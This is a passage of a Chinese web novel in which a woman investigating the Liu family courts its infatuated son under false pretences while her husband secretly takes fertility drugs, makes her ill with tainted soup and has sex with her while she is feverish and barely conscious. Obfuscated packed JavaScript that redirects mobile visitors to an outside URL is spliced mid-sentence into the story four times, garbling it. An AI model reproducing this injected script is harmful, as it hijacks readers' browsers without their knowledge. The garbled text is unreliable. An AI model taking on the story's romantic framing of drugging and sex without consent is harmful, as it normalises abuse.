翠娘猛的抬起眼看沈年,被人戳破了秘密她恐惧道:“你……是怎么知道的,你想做什么!” 沈年看到她的反应就知道翠娘一定知道什么,她亮出罗督丞的腰牌,耐心跟她解释:“我们只是想和你做个交易,告诉我你知道的,我和罗大人可以帮你。” 翠娘听到罗督丞的名字,信了沈年,回身把孩子交到孩子父亲手中,关上门跟沈年走到一处空地。 她还未张嘴说话便捂着脸痛哭起来。 沈年安静的等她处理好情绪。 “我知道你们想要什么,但前提是要保证救我弟弟从那鬼地方出来我才会给你们东西。” “鬼地方?是指刘宅吗?” 翠娘痛苦的点点头,“我收到他给我的求救信,他被那女人卖到了刘宅供人……玩乐……他求我救救他……” 最后几个字,翠娘努力了几次才哽咽着说出口,沈年上去揽住她的肩,想说但说不出话来。 “我一定会想法子帮你,你一定要信我切莫轻举妄动。” 沈年言辞恳切的叮嘱,翠娘莫名的对面前的人产生了极大的信赖。 “他很久没递消息出来了,我不知道他是不是还活着。” 翠娘摘下脖子上挂着的木牌交到沈年手中,“你若能找到他,把这个拿出来给他看,他便懂了。” 沈年郑重点头,翠娘她过的太苦不该像书里那般悲惨的死去。 归家已是深夜,屋里的灯火还亮着。 沈年轻手轻脚推门进屋,林闻溪还没睡下,坐在灯下缝衣裳。 他放下手里的活捧着灯过来给她照亮,“这么晚回来怎不说声,叫我忧心。” 她这两三日忙,少有时间和林闻溪说话,听着林闻溪的小抱怨自己也觉得成日将他一个人扔在这里怪可怜的。 “最近有事。”她回道。 “我看皇帝都没你这么忙。” 林闻溪现在偶尔会跟她说几句俏皮话,沈年冷不丁被他逗乐。 趁着沈年洗漱的功夫,林闻溪又在衣裳上缝了几针后扯断线头,收好针。 “先试试长短合不合身吧。” 他拿着衣裳在沈年身子上比划,沈年擦干脸上的水珠,穿上身让林闻溪瞧。 “宽了些。” 林闻溪说着低头手掌贴在她腰身上比量,而后揽到后背抱上她。 沈年早已习惯了他这些小把戏,任他动作,却在他身上好像闻到一股药味,她凑到他后颈上仔细嗅了嗅。 “你喝药了?又生什么病了?” 沈年推他起来问。 “没有……只是补身体的药膳而已。” 林闻溪最近安分的过头,沈年不得不多问几句:“当真?药方给我看看,补什么的?” “三娘先前不是说我受了寒需要先调养,我用的只是常见养气血的药膳,没有什么方子。” 他有空做做针线活,养养身子也好,只要林闻溪不想着坑她害人,沈年也懒得去管他这些杂七杂八的事情。 吹了灯睡下,林闻溪不像之前那般拘谨,这两日都自己贴过来靠在她身侧。 反正他不闹腾沈年就由着他,近来实在没有多的精力在林闻溪身上消耗。 林闻溪自是没有那么乖顺,他喝的其实是个偏方坐胎药,他也不愿意跟沈年撒这个谎,但沈年先前说过这会子不要孩子,他也是不得已。 沈年在刘家铺子对面的酒肆要了一壶酒小杯慢酌,盘算着如何与掌柜刘家二娘搭讪结交。 不成想对方先晃着手上的玉扳指从铺子里出来,入酒肆里同要了一坛酒,哐当扔了一锭银子在柜台上。 她身材略微发福,说起话来中气十足:“不用找碎银了。” 而后她转过身来,指了指沈年坐的桌子,“余下的给那桌添几个好菜。” 沈年挤了挤眉,十分诧异。 刘家二娘满脸堆笑的向沈年走过来,“不知是否唐突了沈娘子?” 沈年一时摸不清对方的意图,用手肘碰了碰身旁的小薇,小薇心领神会将手探到桌下握紧了腰间藏着的刀柄。 沈年:“娘子如此好意,是......?” “没别的意思,只是想与沈娘子照个面。” 沈年请她坐下同饮,对方只是捏着酒杯沾了沾唇,筷子更是没动一下,眼神时不时瞟向铺面上的二楼。 二人有一搭没一搭的尬聊,直到又一人从铺子里出来。 “阿姐,铺子里有客人来了。” 少年说着话,目光却直勾勾黏在沈年身上,周围人不少未免惹什么风言风语,沈年端起酒杯挡住自己的脸。 刘家二娘一副为难的样子,“还未与沈娘子聊尽兴呢,不如沈娘子随我去铺中用几杯清茶稍等片刻可好?” 这明摆着做的局,但这送上门的机会不可错失,沈年让小薇留下接应起身跟了过去。 刘家二娘将沈年引至楼上雅间,着人端上几盘精致的茶点。 “阿久,你先替我陪沈娘子说说话,我见完客人就来。” 她说罢便退了出去,独留二人在内。 阿久羞赧的问她喜欢喝什么茶。 沈年满心打探消息,“随便什么都可以,听你唤阿姐,你也是刘家的?” 阿久边摆弄茶具边答沈年的话:“我与阿姐是一父所生。” 沈年今晨才打听到的,刘家生的女儿不少,却只有一位小公子,因此极受母亲宠爱,自小捧在手心锦衣玉食长大的。 “阿久是你的小字?我唤你这个名是否不妥阿?” “无妨,沈娘子觉得不便的话可以唤我的名字,顾安。” 刘家公子是这个名没错了,沈年心下欢喜。 这小公子一瞧就涉世未深,天真懵懂的很,比那二娘子看起来好接近多了。 沈年与他套起近乎来:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334037|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也有个胞弟,与你年纪差不多大,不如我叫你安弟好了。” 阿久手中的茶盏摔落,两个字咬的极重:“弟弟?” “怎么了,你不喜欢?” 他斩钉截铁道:“不喜欢。” 沈年赶忙找补:“那叫你什么好?” 阿久缓缓开口:“沈娘子唤我安郎如何?” 只有夫妻之间才会用这样的爱称。 沈年一头雾水:“哈?” 阿久憋了一大口气语出惊人,“我日日都在家中阁楼上偷偷瞧沈娘子,心生钦慕,今日竟如此有缘看见娘子在对面喝酒,便请了阿姐替我牵线……我想做的是沈娘子的夫郎。” 阿久虽一向不受礼数拘束胆量颇大,但身为男子主动同女子表白示爱,对他来说也不是一件容易的事。 此刻他心跳如狂。 见沈年不语,阿久继续问道:“不知沈娘子对我可有意?” 沈年忙摆手:“我已经娶亲了。” “我知道……我不介意的,我只求做沈娘子的侧室。” 沈年站起来:“我没有那个打算,公子还是另寻亲事吧。” 阿久刚过十七八岁,正是情窦初开的年纪此刻是一心认定了沈年。 他害怕沈年走迈步挡在门口,不依不饶道:“女子三夫四侍是常事,更何况沈娘子还是官宦之家,怎可能不纳侧室,是不是我长的入不了沈娘子的眼。” “这……不是……” 沈年不敢把话说太绝,留下转圜的余地,耐着性子出言劝解。 “公子先前一句话连话都没跟我说过,你可知我的脾气秉性,家世前程是如何?” 阿久眨巴着眼睛盯着她摇头。 “沈府看着大,里面根本没外人想的那么好,规矩多着呢,你去那深宅里没好日子过的。” 阿久:“沈娘子若能像护他那般护着我的话,日子自然是不会苦的。” “谁啊?” “沈娘子的正君林氏。” “我……我哪里护着他了。” “谁说的,我瞧得清清楚楚,沈娘子帮他打水劈材,为他熬药煮饭,还将他抱在怀里……沈娘子不那么疼惜他的话怎会将他养的脾气那么坏!” 沈年觉得后背发冷:“你这明明是在监视我!还有你怎知道他脾气坏,你去找他了?” 阿久低头不语默认。 “我劝你最好少去招惹他。” 阿久听着沈年的话,整个眼眶都红了泪珠顺着他的下颌滴落在地。 那日他偶然间打开窗望见沈年在院中修整屋子觉得有趣便多看了几眼,之后无聊的时候就趴在窗口看她。 一日日成了习惯,后面又来了个郎君搬进来后他更是一发不可收拾,那日半夜那郎君扑到沈年怀中的时候,他心中的酸涩达到顶点。 他才发觉自己早在不知不觉中喜欢上了沈年。 那日他不过是看着沈年和林氏一路同行,太过嫉妒才昏了头上去和林氏搭话。 被林氏凶也就罢了,沈年也如此不留情面话说的这般重。 刘家二娘在外听到阿久的哭声,推门进来打圆场。 “阿久他是真心爱慕沈娘子,念在他一片痴心,沈娘子就不要和他计较了。” 沈年此刻进退两难,阿久对她的感情是她打入刘宅最好利用的一支箭,但她又良心难安。 但她一想到翠娘惨死,想到罗督丞被斩首……她本也不是什么十全十美的圣人。 只是骗骗感情而已,又不是什么十恶不赦的大罪孽,老天爷一定不会怪罪她的。 “公子既有如此真情,我也不是铁石心肠的人,只是我们才相见一面,说什么爱慕之类的话怕是还早,何况婚姻大事更需相互知根知底,不可草率行事。” “正是,沈娘子日后可以多来府上走动走动,同阿久常来说说话再定此事。” 沈年瞧了一眼阿久,心虚的答应下来。 8. 阁楼上的花灯 阿久的脸生的讨喜,圆润可爱笑起来还有酒窝,眼中湿雾蒙蒙的望着沈年说话,“日后是什么时候又不准。” 沈年恨不得现在就让阿久带她去刘宅,但未免显得刻意,她假装犹豫一会,“或许过两日吧,得空了我自上门拜访。” “今日不可吗?” 阿久伸手折下盆栽中的一朵小白花,含羞递到沈年手边,“择日不如撞日,听闻兴善寺桃花盛开漫山粉色,沈娘子可愿陪阿久同去一观。” 沈年摊开掌心接过,捏着那花的细枝在手中转了转,花瓣太过娇弱就似下一秒便要脱落。 沈年将它扔进袖中,同阿久微笑道:“那就去看看吧。” 马车悠悠停在山脚下,沈年掀开车帘跳下来眼前一派春色,泉流鸟鸣,山花烂漫,尤其是山腰上寺中传出的沉沉的钟声让一直紧绷她的心安静不少。 “这里……很美吧。” 阿久朝她笑的灿烂,与山中的盎然春景倒是相配。 沈年脑中兀的浮现出林闻溪的样子来,他的脸上很少会露出笑,像是常年活在凌冽的冬日,泡在苦水中生长出来的。 “沈娘子怎么皱着眉?” 阿久的声音让沈年脑中的幻影霎时间化开,她敲了敲自己脑门让自己回神:“没什么,我们上山吧。” “寺中供奉的菩萨很是灵验,等到上山沈娘子可随我去拜一拜。” 阿久欢喜的很,走在前面一步迈几个台阶,回头和她说话。 这山本就陡峭,石阶坑坑洼洼的,有些还风化剥落成小碎石在阶面上,并不好走。 “你专心走路,当心摔了——” 话还没说完,阿久就脚下没站稳打了个趔趄,沈年下意识踏上台阶去扶他的肩。 阿久惊吓着喘着粗气,站定后卸了周身的力气半蹲在石阶上,他的脚腕有些痛。 沈年也缓了几口气:“你还好吧。” 阿久把脸埋在腿间,“脚好像扭到了,我是不是很笨。” 沈年看着下山的几百个石阶……心裂成了几块。 这小公子不会是故意的吧。 阿久摇摇晃晃的站起来,探出脚试着走路一阵发麻,但瞥见沈年的脸色后隐瞒说自己没有大碍,还能走的了路。 沈年如释重负,“我先扶你下去吧。” 他搭着沈年的胳膊,垂头惋惜道:“可惜了,今日没能入庙中求愿。” “说不定是天意,许了愿也是不灵的。” “是吗......”阿久回头向那庙宇看去,“回去的时候沈娘子给我去街上买盏花灯吧。” 沈年随口答应,疑惑问道:“又不是什么时节,买灯做什么?” 阿久握紧了沈年的手臂,偏过头向她咧嘴一笑:“到时候沈娘子会知道的。” 沈年只当他是个没长大的小孩幼稚贪玩,转将话题引到刘家人身上。 “你我私相同游已是不合适,现下又伤了脚回去该怎么向你母亲交代。” “我母亲与旁人不同,不讲什么父母之命,媒妁之言,她说男子出了阁命途便被握在女子手中了,所以女子的家世好不好,府中有没有钱帛都不要紧,只要人品好懂得怜惜我就好。” 沈年想起翠娘所说的,她弟弟就是被妻主卖到刘宅中的,不知阿久的母亲观念如此超脱是否会与此有关。 她长长的看了阿久一眼,心中复杂。 阿久还天真懵懂的宽沈年的心,“我已同母亲提起过沈娘子,所以……沈娘子放心吧。” “你母亲没去寻人打听打听吗?我的名声可不怎么好,她若是知道了怕是要把我从你们府上轰出来。” “这……有所耳闻,不过我想来不是沈娘子的错,那林氏如此凶悍善妒,沈娘子在外寻其他男子也是正常的。” 阿久一口一句林闻溪凶悍,沈年不免为他辩驳。 “平日他其实还挺温柔贤惠的,你究竟做什么把他给惹毛了。” 阿久默默忍痛停下脚步,鼓着脸向沈年诉委屈:“我不过问他劈柴的斧头在哪家铺子打的,但他不由分说就瞪着我把门给用力甩上了。” “他一向在外人面前有分寸的很,应是你说什么让他疑心了......你怎么不早点告诉我。” “沈娘子只是一心向着他罢了,身为正君如此刻薄专横,沈娘子不该如此纵着他才是!” “好了你根本不懂,他可是……!” “可是什么?阿久不求别的,沈娘子能把给他的爱分我一小点就好了。” “别说的这么可怜,这天底下的女子千千万,你也不一定非要吊在我这颗树上。” 两人各说各的,驴头不对马嘴,几乎要吵起来了。 二人都察觉气氛不对噤声,四下骤然间安静下来。 “倘若我可以帮你呢。” 阿久松开手,歪歪斜斜的站着,山中起了风吹着他的脸添了分冷意。 “帮我什么?” 阿久伸手将沈年身前挂着的木牌握在手心摩挲,“沈娘子,我知道比你想象的要多的多。” 沈年低估了阿久对她的痴狂,如同鬼影一般他已到了无孔不入,无处不在的地步。 沈年哪日哪时去了何处,见了什么人,全数都有暗眼跟着逐一记录呈给阿久。 “沈娘子想从刘宅中得到点什么,不妨直接告诉我,若沈娘子能答应让我过门为你的夫侍我什么都可以帮你,如何?” 沈年心中的那点愧疚随阿久的话烟消云散了,她说起谎话来脸不红心不跳。 “好啊,我要你帮我在刘宅寻一个人,若你真能助我成事就迎你入府。” 阿久喜上眉梢,也不问是何人何事,心心念念着心中的美梦,“我要沈娘子给我写一个婚书凭证。” “婚书需两方长辈盖章按印,私定终身可是大罪,你胆子大不怕死,我可不想被流放充军。” 阿久:“无需沈娘子按印,我求个心安而已。” 沈年想着最坏也不过是身边多个男人而已,于是到了马车上取来纸笔写了几行字交给阿久。 “沈娘子的字本就如此,还是……” “我不精文墨,你凑和着看吧。” 阿久忍俊不禁,越看沈年越喜欢,不吝夸她:“沈娘子不像那些冠冕堂皇的女子,还真是坦诚。” 他将那张纸小心翼翼包在帕子里藏进怀中掀下帘子,等车轱辘转起来才脱下鞋袜,检查自己的脚踝。 他刚逞强太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怪不得沈年今日如此反常,一回来就要沐浴,原是又背着他惹了风流债,亏的他还跟个傻子一样想着照顾她。 看样子是今日刚做成了对野鸳鸯,难舍难分,夜里见不得面,用这破灯笼来隔空遥寄情思呢! 真是恶心! 沈年连日的疲惫在这一池温水中舒散,披了件单衣出浴,坐在铜镜前擦拭湿发。 林闻溪端了碗热姜汤进来,放到沈年面前的案几上,“趁热喝吧。” 沈年额上的碎发湿漉漉的搭在眼尾,不施粉黛似比平常更清丽几分,镜中映出林闻溪的下半张脸,勾起一抹分明的笑。 “我来帮三娘擦吧。” 林闻溪将沈年的发尾握在手中,弯腰下去顺着沈年的肩一路滑下拿过她手中的巾子,鼻尖触到沈年的脸颊,停顿一刻。 随后眼底闪过一阵嫌恶,迅速直起身为她擦拭发尾滴出的水珠。 沈年不想辜负林闻溪的好意,捧起碗咕噜噜全喝下了肚。 沈年第二日发起了高烧,躺在榻上神志不清的呓语,林闻溪框她在怀中捏着汤勺一口口喂她喝药。 9. 病中的吻 林闻溪只是略施小计在姜汤中多添了几片让沈年虚热发汗的紫苏叶,夜里又将窗留了条缝,冷风一吹人自然就病倒了。 大夫来也说是沈年夜里盗汗着凉染了风寒,并未看出什么端倪。 林闻溪原只想让沈年小病一场在塌上躺几日,他好腾出手去收拾了那贱人。不成想沈年烧的厉害,神志不清直说些谁都听不懂的胡话,一大碗药堪堪只喂进去三勺。 一连换了几个冷帕子敷着脸沈年的身子还是烫的厉害,林闻溪担心万一把沈年脑子烧糊,自己日后岂不是要半辈子守着一痴傻呆子过日子。 他无奈端碗递到自己唇边饮一小口,低头贴上去她的嘴巴将药渡给她。 而后他迅速仰起头嫌弃的擦了擦,她或许前日跟那小少爷才亲过,他想想就觉得不舒服。 沈年从前再热切也只是会亲他的脸,没想到头一回亲吻竟是他主动来的,林闻溪没来由的生起气来,又低下头去名义上给她喂药,实际报复似的叼着她的嘴巴咬。 沈年感觉到疼,捶着他的肩往下躲,林闻溪手上一松的药碗打碎在地,追上去掐着她后颈咬上她露出的一点肩。 他整个上身都压在沈年身上,沈年此刻使不出力气推开他痛得低声抽泣,林闻溪松开嘴捏着她的下颌几近崩溃的质问。 “你哭什么?你不是说的好好的,只求前程不会再找男人的吗?明明是你骗我,都是你的错……” 沈年哪里能听见他的话,她浑身都痛,一味的叫疼。 林闻溪心烦意乱的堵住她的嘴,反正他向来不讨别人的喜欢,如果沾上他的味道,沈年就不会被外头的那些狐媚子看上了吧。 他笨拙青涩到的连嘴巴都不懂的张,毫无章法的却极热烈的强吻。 这是他一个人的独角戏,却愈加的痴迷情动,沈年完全被他掌控喘不过来气,趁林闻溪扭头的空隙躲进被中不出来。 林闻溪刚尝到甜头掀开被角想要继续,忽然听到门外好像有人来,他只好强忍着起身理好两人的衣衫。 “少君,罗督丞来看三娘子了。” 他听到小薇在外禀告,去外间倒了一大杯凉水喝下舒缓片刻才去开门。 门口的两人都是外女,沈年又昏沉不醒,他自是需避嫌。若无其事与那位罗大人打个照面,林闻溪便退到屋外。 他本就好奇沈年这几日忙里忙外究竟是在做什么,于是停在屋外墙角偷偷听小薇和罗大人说话。 “好好的人,怎一下子病的如此重。”罗督丞先叹息道。 小薇:“估计是昨日三娘子陪那刘公子去兴善寺吹了山风,加上这两日奔波太多才病倒了吧。” 林闻溪听到沈年还和那姓刘的拜了庙心中更是醋海翻涌,咬着后槽牙将耳朵更贴到近前继续听。 “刘宅门户实在看的紧我派去的人都打探不进去,眼下全得指望刘顾安这一条线,让沈娘子为了罗家的事折腾成这样,罗某真是惭愧。” “罗大人不要这样说,三娘子说了揭破了这事不仅是对罗家,对各城百姓和她也都有好处,且三娘子病的也巧,等那刘公子寻人的工夫,正好可休养几日不用再同他虚与委蛇了。” 罗督丞安下心:“好生照料沈娘子,若有什么需要及时来禀我就是。” 林闻溪将二人的话听的一清二楚,惊觉自己好像错怪了沈年,悔到掐红了自己的脸,又暗自庆幸没耽误她的大事。 等小薇将罗大人送走之后,林闻溪为弥补殷勤端了药进去喂沈年,他故技重施一碗药楞是喂了一有下午的工夫。 入夜的时候沈年总算没那么烧了,林闻溪守在床边用冷帕子帮她降温,手肘偶而碰到她的脸颊,沈年习惯了他的贴近迷迷糊糊抓着他冰凉的手背往上贴。 林闻溪早已是心猿意马,但碍着沈年病着将手往回撤,却又被沈年拽回来在她脖颈上蹭,感到丝丝凉意沈年眉头舒展一些,又攀上他指间与他十指相扣,牵的严丝合缝。 林闻溪隐忍着闭眼别过头,以免被又被沈年勾起心思来,他实在有点克制不住与沈年亲近时心中的悸动。 但偏偏沈年还要撩拨,手指探进他袖中抚上他的小臂。 “三娘,放开我,别这样。”他费力绷直了背想要直起身。 “别走,我好难受……”沈年蜷缩着身子祈求他,力道大扯的林闻溪半个身子都要倾倒在她身上,周身都被她灼热的气息笼着。 林闻溪哪抵得住沈年这般,软声细语的哄她:“我不走,我先去把灯吹熄了再来陪你。” 沈年受用放开了手,林闻溪只留了塌前纱帘里的灯盏,褪下外衣上塌坐到里侧,低头盯着沈年有种回到洞房花烛那晚的错觉。 他犹豫伸手解开贴身的里衣,衣带松散下来他光裸的的肌肤在沈年面前暴露无遗,忽明忽暗的灯下如同一件漂亮的白瓷。 他安静的躺下,留着最后一点矜持用手肘碰了碰沈年,等她自己凑上来。 沈年像是抱着什么宝贝疙瘩,把整张脸都贴在他肩上,手圈着他的腰腹指尖游离,林闻溪未经过这种事,很快有了反应。 林闻溪勾上沈年的下巴将她的脸抬起来,两人之间气息缠绕,近的能听到彼此的呼吸,林闻溪缓缓靠近闭眼吻了上去。 沈年只是本能浅浅回吻,林闻溪像是获了天大的赏赐一般喘息更重了几分,按理来说此事需的要女子在上,但久久等不到沈年的进一步动作,林闻溪意乱情迷主动欺身压了上去。 一夜旖旎。 柔和的晨光透着纱帘落在二人身上,林闻溪餍足半撑着脑袋看着熟睡不久的沈年,似有些意犹未尽用指腹的摩挲着她的唇角,而后忍不住又俯身捧着她的脸亲了亲才终于起身。 他洗沐过后又端了盆温水,进内为沈年擦身清理,还换了床干净的被褥。 他摇着扇子坐在矮凳上盯着药罐上冒出的热气回味,心中甜蜜忍不住嘴边的笑意,身旁摆着一只空碗里面还留着些药渣,是林闻溪刚刚喝完的坐胎药。 听闻这药很灵,这回他又加了药量,尽足了人事只希望天命能眷顾他一回,顺利怀上沈年的女儿。 刚灭了炉火,林闻溪余光瞥见榻上的人动了动,昨夜他服侍的并不合规矩,不知沈年会不会觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334039|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他孟浪。 林闻溪紧张理了理仪容走过去时沈年正抓着床沿费力想坐起来,他紧走两步过去扶。 但沈年一把甩开他的手不让碰,好容易爬起来靠在软枕上阴沉着脸审视他。 林闻溪以为沈年在为昨夜之事恼火,说话时还带着羞怯:“三娘醒了,可感觉好些了?” 沈年并不搭理他,转头朝着窗子唤小薇的名字。 “三娘有我照料,小薇无事出门去堤坝上了,”林闻溪倒了杯水端给沈年,“三娘喝口水,有什么事吩咐我就好。” 沈年盯着林闻溪递过的杯子,轻飘飘的拿过,然后用力砸在地上摔成粉碎。 林闻溪大惊失色问沈年是怎么了。 沈年被他这副明知故问的样子气笑了,她连猜他为何突然在汤中下药的心思都不想费了。 懒得和他再多费口舌,沈年掀开被子弯腰去拾鞋袜,这个家她是不敢再呆下去了。 等拿到引凤钗,就甩一纸和离书给他,再无瓜葛。 “三娘生我的气,朝我泄愤就是,何苦折腾自己的身子。” 林闻溪边说边俯身下去要拦,被沈年一脚踢翻在地,扎了一手的瓷渣向伤口处外渗着细密的血珠,他举着手掌疼的直闷哼,不可置信的盯着沈年的冷脸。 “真是报应,你就好好受着吧。” 沈年站起来,向他得意的笑着,眼中没有丝毫的怜悯,披散着头发扯了件披风盖在身上。头也不回的一路扶着墙出去,走之前还一脚踹翻了刚熬好的药罐,里里外外弄得一片狼藉。 林闻溪觉得自己现在是在做一场噩梦,可手掌的刺痛每动一下都在提醒他这是真的。 他想不没明白明明昨夜还缠绵相拥不是吗,怎一朝之间就闹的这般天翻地覆。 难道是沈年察觉到什么了?可他在沈年面前从未露过什么破绽,连大夫都看不出来,沈年昏睡着又如何得知。 还有她说的报应是又什么意思。 林闻溪心里腾升出一种剧烈的恐慌,他控制不住的浑身发抖,四肢仿佛僵住了动都动不了。 沈年跌跌撞撞的逃出院门,她的脑袋晕天转地,也不知道自己要去哪,只是漫无目的的向远处跑。 日头明晃晃的照在头顶,她目眩差点昏倒在地上,刘家二娘从铺子里出来派人将她搀了回去。 “听闻沈娘子病了,阿久他在宅中忧心的很,沈娘子怎不在家好生养着在外头乱晃。” 沈年伏在桌上都歪歪的要往下倒,虚弱的问刘家二娘可否帮她去堤坝上寻小薇过来。 刘二娘是在大宅院中混出来的人精,听沈年的话头便能隐约猜到是在家中闹了不快。一面答应下来将她挪到里间软塌上躺着,出去又先派人知会阿久过来乘虚而入。 阿久匆匆从刘宅赶过来,见到沈年憔悴的模样心疼坏了。 他一瘸一拐的拖着身子看起来有些招笑,“那林氏是做什么的,把好好的人照顾成这样子。” 沈年刚逃出虎穴又进了狼窝,心情不能再差,“别再跟我提他。” 阿久倒是不在意,笑得温和。 10. 缘分已尽 沈年揉着眉心自嘲一笑,她先前还因为林闻溪同阿久争辩,真是不值。 昨夜有意识时林闻溪正握着她的脖子激烈向她索取,平日碰一下脸面颊都会绯红的人,也有这般主动痴缠的时候。 沈年还能想起林闻溪伏在她肩上,在她耳边轻声说心中有她时的声气,情真缱绻,真叫人动容。 但嘴上说着对她生情,下药的时候却一点不见手软,林闻溪前夜端给她那碗汤的时候,也是像阿久现在这样和煦的注视着她笑着。 沈年回想起来只觉得毛骨悚然,她一眼也不想再见到他了。 至于阿久也不是什么省油的灯,在沈年看来阿久像是株水生的绿萝,表面青枝绿叶根上却早已腐烂潮湿,迟早也是要烂掉的。 这两个男人以为不管对她做了什么,只要有所谓的喜欢当托词,在她面前可怜巴巴的流几滴眼泪,就可以轻轻揭过,仿佛什么事都没发生一样。 沈年才不要被他们困在织网里谈这些病态的情爱,她要权,要位,她要自由。 沈年强撑着坐起来问,她尽量不让自己看起来病弱可欺。 “怎么是你来了?” 阿久的脚肿的连鞋都穿不上,用绸布包着,他扶着桌角总算坐稳,“阿姐说沈娘子身子不好,唤我来照料你。” 沈年扶额:“你这个样子是能照顾别人的吗?” 阿久:“……我只是担心沈娘子,想来看看。” “如此还要多谢你的好意了。” 阿久当真以为沈年在谢他,捏了块糕点塞进嘴里心虚的点头,他能猜到沈年同林氏不和大概是为着他挂着的那盏鱼灯。 他听闻与心仪的女子同在月下观灯,月老便会将二人的红线系在一起,保佑二人姻缘美满,爱情长久。 那晚他在灯下等了许久,沈年的身形早已在他心中勾勒过千万遍,他可以确定一件事。 那夜看到灯的人是林氏。 其实自那日他上门与林氏搭过话之后,林氏就时常往阁楼的方向望,他会在沈年归家的时辰在窗户上守着,看她几眼,偶尔会撞上林闻溪。 那像是一场无声的战斗,每次都是他铩羽而归。 现在沈年弃了他,对阿久来说是莫大的令他快意的胜利。 而且沈年尚还在病中,连发髻都来不及梳就离家外走,可见与那林氏不是一般的小打小闹那么简单。 阿久心中窃喜,但他的小心思一点藏不住拙劣的演起戏来:“为了我的事让沈娘子和林氏闹的不快,真是罪过。” 沈年的话给他泼了盆冷水,“和你没什么关系。” 阿久:“侧室过门要正君点头同意,沈娘子答应了与我成婚,回去没和林氏提起此事吗?” “我跟他说这个,是嫌我的命太长了吗?” 阿久被沈年的话吓了一跳,“不过是纳个偏房进门,林氏怎敢生出谋害妻主的心思,莫不是疯了!” 阿久说的没错,林闻溪本就是个疯子。 是沈年忘了。 “难不成沈娘子的风寒就是那林氏所为?他为何下的了这样的手?” 林闻溪现在仿佛成了沈年的忌讳,说起他一点就炸,“我哪知道他的心思,不知道哪根筋搭错拿我出气。” 阿久反应过来沈年并不知道那盏灯的事情。 他对沈年隐瞒了此事,毕竟林氏做出这样大逆不道的事情沈年都没有告到官府,可见对林氏还留有情面。 他不能给林氏和沈年重修于好的机会。 阿久藏起自己的心思,转头向沈年邀功。 “宅中里里外外的人我都亲自去清点了,我们这边院里没有沈娘子说的那个人,若是在二房那边的话还得打点走动,还需些时日。 沈年曾听罗督丞说过,刘宅原本是大房掌家,但近十年以来二房的铺子生意越做越大,说是日进斗金都不为过。与大房已有分庭抗礼之势,传言说两院不睦许久,暗地里争斗不断。 现在听阿久所言,可见传闻不假。 沈年庆幸此事与阿久那院的人没有牵扯,骗起阿久来又少了些心里负担。 “家我是不能回去了,不知道方不方便让我去刘宅借住几日,我同你一起找。” 能日日与沈年相见他求之不得,阿久欢欣起来说:“刘宅院子多的很,沈娘子想的话住多久都可以。” 沈年这样做同时也是为了免得林闻溪来找她纠缠,要是住在哪间客栈里,以林闻溪的性子,说不定日日站在门口不走,闹个满城风雨才算完。 —— 林闻溪此刻像尊木刻的像,他眼神木然呆坐在原地不知有多久,血已顺着指尖滴到地板一滩。 凄冷的月光从窗纸中透过,在林闻溪脸上胧着,看起来更加白森森的。 陡然间,他心神一震,手抚在额上用力的回想什么。 他昨夜摸了摸自己在沈年肩上咬下的红痕,当时并未多留意旁边那一颗小痣。 从前服侍沐浴的时候他看到过,林闻溪可以确定那时候没有。 他本就奇怪,最初送到寺里的酒,他明明日日亲眼看见沈年喝下,按理该发作她瘫掉才是,但沈年醒后和没事人一样,走动自如,药竟完全没起效。 还有她的性情,完全像变了一个人。从前没留意,林闻溪此刻越想越觉得蹊跷。 他感觉自己活过来了,晃悠悠的起身口中低喃,“那日被抬回沈府的还是原本的沈年吗?” 他一点不觉得害怕,由衷的微笑起来。 林闻溪不知道他现在满脸沾着血,一个人在月下笑的场面有多可怖,小薇提着灯笼走进来看到此幕,惊叫着向外跑。 林闻溪在后面追着她出来,小薇吓破了胆重重扑到在地上,她情急下抽出短刀指向门口的林闻溪。 “哪来的男鬼,敢到沈家宅中害人!” 林闻溪才闻到自己脸上的血腥味,掏出帕子将脸上的血迹抹了抹,“是我。” 小薇还是发怵,“少君......你怎么成了这个样子。” 林闻溪保持着一副云淡风轻的样子,“哦,跟三娘拌了几句嘴,不小心碰到了地上碎瓷渣。” 小薇从地上爬起来,拍了拍身上的土,“怪不得。” “怪不得什么?还有三娘呢,她去哪了?” 小薇从袖中取出一个钱袋子和信封递给林闻溪,“三娘子说她暂时不回来了,要去刘宅借住几日,托我给少君带了信和银子来。” 林闻溪步伐不稳,差点在屋前的石阶上绊倒,“什么?” 他单把信从小薇手中抽出来,抖着手拆封查看。 上面只有寥寥几个大字: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 